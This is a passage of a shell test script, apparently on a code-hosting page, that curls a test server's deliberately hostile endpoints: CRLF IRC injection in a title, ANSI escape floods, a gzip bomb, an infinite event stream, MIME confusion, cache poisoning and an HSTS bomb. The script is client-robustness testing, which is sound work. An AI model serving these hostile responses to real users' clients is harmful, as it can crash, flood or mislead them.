||||
test_endpoint "/html-irc-title" "Title with CRLF IRC injection"
|
||||
test_endpoint "/html-unicode" "Random unicode title and body"
|
||||
test_endpoint "/html-meta-refresh" "Meta refresh loop (0 second)"
|
||||
|
||||
# --- Terminal Abuses ---
|
||||
echo "$SEP"
|
||||
echo "ENDPOINT: /ansi-chaos"
|
||||
echo "TITLE: ANSI escape code nightmare"
|
||||
echo ""
|
||||
echo "COMMAND: curl -s --max-time 5 http://${HOST}/ansi-chaos | cat -v"
|
||||
echo ""
|
||||
curl -s --max-time 5 "http://${HOST}/ansi-chaos" | cat -v | head -c "$MAX_OUTPUT"
|
||||
echo ""
|
||||
echo ""
|
||||
|
||||
# --- Network Abuses ---
|
||||
test_endpoint "/net-gzip-bomb" "Gzip bomb (~10KB to 10MB)" "-o /dev/null"
|
||||
test_endpoint "/net-event-flood" "SSE event flood (infinite)" "--max-time 1"
|
||||
test_endpoint "/net-mime-sniff" "MIME type confusion (JS as image/jpeg)"
|
||||
test_endpoint "/net-cache-poison" "Contradicting cache headers"
|
||||
test_endpoint "/net-hsts-bomb" "HSTS with insane max-age"
|
||||
|
||||
# --- Miscellaneous ---
|
||||
test_endpoint "/misc-ipv4" "Shows your connecting IPv4 address" "-4"
|
||||
test_endpoint "/misc-ipv6" "Shows your connecting IPv6 address" "-6"
|
||||
|
||||
echo "$SEP"
|
||||
echo "ALL TESTS COMPLETE"
|
||||
echo "$SEP"
|
||||
Reference in New Issue
Block a user